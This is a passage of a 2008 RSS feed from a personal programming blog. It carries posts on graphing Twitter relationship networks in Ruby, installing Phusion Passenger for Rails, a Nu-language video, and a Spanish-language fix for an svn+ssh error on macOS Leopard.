3. I decided to try with GraphML format instead of the graphviz's dot format. It is worth noting that the degree 2 graph were generated much faster, but again we run into trouble when rendering the huge load of node and edges when I came down to 3 or more degrees. This time was not a matter of not being able to render the images but instead the program I was using Yed, I guess is using an algorithm that does not take into account the fact that I want to see something instead of a huge ball of edges and nodes :D.
<br />
4. Again more problems, but this time with the application not handling the loads.  Now I decided I was a good time to redesign the application for more scalability and this is what I'm doing so far. So I will post the code as soon as I have that. 
Cheers and hopefully someone likes or can use this post for something. Ohh.. and this is not finished by far hopefully from here a lot of thing will be created and some new functions will be added to the app. And of course all this is written in RUBY ! :D
]]></description>
			<content:encoded><![CDATA[<p>As part of my research for my thesis and other security related implications, I decided to create a program to create a graph of different type of degrees of relationships in twitter. As of now I only being able to grasp a small amount of the total research but so far so good. So I decided to share some of the first graphs and some of my problems.<br />
<br />
1. The first graph worth talking about is, The friends of my friends. As shown below the graph is nice, but it does not show any interesting data, besides the fact that almost all share friends in common that I do not have in my list.<br />
<a href="http://www.freedomcoder.com.ar/images/FC-Degree-2.jpg"><img src="http://www.freedomcoder.com.ar/images/FC-Degree-2-small.jpg" width="100%"></a></p>
<p>2.  When I decided to move to higher degrees the application was able to retrieve the data but the library (graphviz) was unable to generate a jpg or png. In the case of a SVG I was able to create the file but, neither Linux nor Linux64 nor OSX where able to load the image.  When I tried to generate a png or jpg the gd or the application gave me a core dump. Thanks Juan, for lending me your Linux64 computation time <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> .<br />
<a href="http://www.freedomcoder.com.ar/images/FC-2-yed.jpg"><img src="http://www.freedomcoder.com.ar/images/FC-2-yed.jpg" width="100%"></a><br />
<br />
3. I decided to try with GraphML format instead of the graphviz&#8217;s dot format. It is worth noting that the degree 2 graph were generated much faster, but again we run into trouble when rendering the huge load of node and edges when I came down to 3 or more degrees. This time was not a matter of not being able to render the images but instead the program I was using Yed, I guess is using an algorithm that does not take into account the fact that I want to see something instead of a huge ball of edges and nodes <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> .<br />
<br />
4. Again more problems, but this time with the application not handling the loads.  Now I decided I was a good time to redesign the application for more scalability and this is what I&#8217;m doing so far. So I will post the code as soon as I have that.<br />
Cheers and hopefully someone likes or can use this post for something. Ohh.. and this is not finished by far hopefully from here a lot of thing will be created and some new functions will be added to the app. And of course all this is written in RUBY ! <img src='http://www.freedomcoder.com.ar/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/04/14/twittergrapher/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Finally mod_rails !</title>
		<link>http://www.freedomcoder.com.ar/2008/04/13/finally-mod_rails-/</link>
		<comments>http://www.freedomcoder.com.ar/2008/04/13/finally-mod_rails-/#comments</comments>
		<pubDate>Sun, 13 Apr 2008 15:06:38 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[Linux]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[News]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[www]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/04/13/finally-mod_rails-</guid>
		<description><![CDATA[Extrated from <a href="http://www.modrails.com">mod_rails</a> Homepage:
"Phusion Passenger ? a.k.a. mod_rails ? makes deployment of applications built on the revolutionary Ruby on Rails web framework a breeze. It follows the usual Ruby on Rails conventions, such as ?Don?t-Repeat-Yourself?."

The most important thing, installation:

   1.   Open a terminal, and type:
<code>
      gem install passenger
</code>
   2. Type:
<code>
      passenger-install-apache2-module
</code>
      And follow the instructions.

Well, enjoy and let the party begin with Apache and Rails. Hopefully, my provider Dreamhost will be deploying this soon to production. ]]></description>
			<content:encoded><![CDATA[<p>Extrated from <a href="http://www.modrails.com">mod_rails</a> Homepage:<br />
&#8220;Phusion Passenger ? a.k.a. mod_rails ? makes deployment of applications built on the revolutionary Ruby on Rails web framework a breeze. It follows the usual Ruby on Rails conventions, such as ?Don?t-Repeat-Yourself?.&#8221;</p>
<p>The most important thing, installation:</p>
<p>   1.   Open a terminal, and type:<br />
<code>      gem install passenger</code><br />
   2. Type:<br />
<code>      passenger-install-apache2-module</code><br />
      And follow the instructions.</p>
<p>Well, enjoy and let the party begin with Apache and Rails. Hopefully, my provider Dreamhost will be deploying this soon to production. </p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/04/13/finally-mod_rails-/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tim Burks&#8217; Bridges and beyond &#8230;</title>
		<link>http://www.freedomcoder.com.ar/2008/03/27/tim-burks-bridges-and-beyond-/</link>
		<comments>http://www.freedomcoder.com.ar/2008/03/27/tim-burks-bridges-and-beyond-/#comments</comments>
		<pubDate>Thu, 27 Mar 2008 16:57:12 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[English]]></category>
		<category><![CDATA[General]]></category>
		<category><![CDATA[How-To]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Video]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/03/27/tim-burks-bridges-and-beyond-</guid>
		<description><![CDATA[Tim Burks wasn?t content merely documenting RubyCocoa with comprehensive, well-written articles or building a better bridge between Ruby and Objective-C. He created Nu, where Lisp meets Objective-C with a splash of Ruby.
<div align="center">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="437" height="370" id="viddler"><param name="movie" value="http://www.viddler.com/player/f15b6262/" /><param name="allowScriptAccess" value="always" /><param name="allowFullScreen" value="true" /><embed src="http://www.viddler.com/player/f15b6262/" width="437" height="370" type="application/x-shockwave-flash" allowScriptAccess="always" allowFullScreen="true" name="viddler" ></embed></object></div>]]></description>
			<content:encoded><![CDATA[<p>Tim Burks wasn?t content merely documenting RubyCocoa with comprehensive, well-written articles or building a better bridge between Ruby and Objective-C. He created Nu, where Lisp meets Objective-C with a splash of Ruby.</p>
<div align="center">
<object classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" width="437" height="370" id="viddler"><param name="movie" value="http://www.viddler.com/player/f15b6262/" /><param name="allowScriptAccess" value="always" /><param name="allowFullScreen" value="true" /><embed src="http://www.viddler.com/player/f15b6262/" width="437" height="370" type="application/x-shockwave-flash" allowScriptAccess="always" allowFullScreen="true" name="viddler" ></embed></object></div>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/03/27/tim-burks-bridges-and-beyond-/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Leopard y SSH</title>
		<link>http://www.freedomcoder.com.ar/2008/03/07/leopard-y-ssh/</link>
		<comments>http://www.freedomcoder.com.ar/2008/03/07/leopard-y-ssh/#comments</comments>
		<pubDate>Fri, 07 Mar 2008 16:15:12 +0000</pubDate>
		<dc:creator>FreedomCoder</dc:creator>
				<category><![CDATA[How-To]]></category>
		<category><![CDATA[macosx]]></category>
		<category><![CDATA[programming]]></category>
		<category><![CDATA[Spanish]]></category>

		<guid isPermaLink="false">http://www.freedomcoder.com.ar/2008/03/07/leopard-y-ssh</guid>
		<description><![CDATA[Desde que instale leopard he tenido un par de problemas con svn  usando svn+ssh:// , siendo que mi svn server usa esto no podia sincronizar mi laburo y me estaba sacando de quisio.  Luedo de incursionar un poco mas en el tema encontre lo siguiente:

Si tu svn te tirando un error parecido a este:
<code>
percent_expand: NULL replacement
svn: Connection closed unexpectedly
</code>
Al parecer Leopard expande una variable de SSH a NULL.  Buscando por internex encontre que agregando la siguiente linea a nuestro ~/.ssh/config solucionamos el problema
<code>
IdentityFile ~/.ssh/id_rsa
</code>
Esto lo que hace es sobreescribir la busqueda por default de nuestra private key y por ende no obtenemos el error, no estoy tan seguro de que buena sea la solucion pero si alguien tiene una mejor explicacion por favor comenten en el blog asi podemos tener una mejor idea de lo que pasa.


]]></description>
			<content:encoded><![CDATA[<p>Desde que instale leopard he tenido un par de problemas con svn  usando svn+ssh:// , siendo que mi svn server usa esto no podia sincronizar mi laburo y me estaba sacando de quisio.  Luedo de incursionar un poco mas en el tema encontre lo siguiente:</p>
<p>Si tu svn te tirando un error parecido a este:<br />
<code>percent_expand: NULL replacement<br />
svn: Connection closed unexpectedly</code><br />
Al parecer Leopard expande una variable de SSH a NULL.  Buscando por internex encontre que agregando la siguiente linea a nuestro ~/.ssh/config solucionamos el problema<br />
<code>IdentityFile ~/.ssh/id_rsa</code><br />
Esto lo que hace es sobreescribir la busqueda por default de nuestra private key y por ende no obtenemos el error, no estoy tan seguro de que buena sea la solucion pero si alguien tiene una mejor explicacion por favor comenten en el blog asi podemos tener una mejor idea de lo que pasa.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.freedomcoder.com.ar/2008/03/07/leopard-y-ssh/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

